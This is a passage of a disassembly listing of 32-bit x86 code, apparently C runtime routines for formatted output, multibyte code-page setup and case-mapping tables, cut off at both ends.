		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBF0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF80
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF8C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF84
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBF0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCDA4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CC00


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCF0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28C0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		cmp	[ebp+var_18], 1
		mov	dword_4DCDA4, esi
		rep stosd
		stosb
		mov	dword_4DCFC4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEC1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CC10[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBF8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEC1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCDBC, 1
		push	eax
		mov	dword_4DCDA4, eax
		call	sub_42008C
		lea	esi, dword_43CC04[esi]
		mov	edi, offset dword_4DCDB0
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFC4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEC1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFC4, eax
		mov	dword_4DCDBC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCDBC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9E0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9E0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9E0, 1
		nop
		jmp	near ptr 26808ECh
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9E0, 1
		nop
		jmp	near ptr 28C07ABh
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DBA24
		mov	dword_4DB9E0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEC0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		mov	dword_4DCDA4, eax
		mov	dword_4DCDBC, eax
		mov	dword_4DCFC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCDA4
		nop
		call	near ptr 28C0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFC4
		push	dword_4DCDA4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFC4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFC4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEC1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDC0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEC1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDC0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEC1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDC0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEC1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDC0[eax], 0


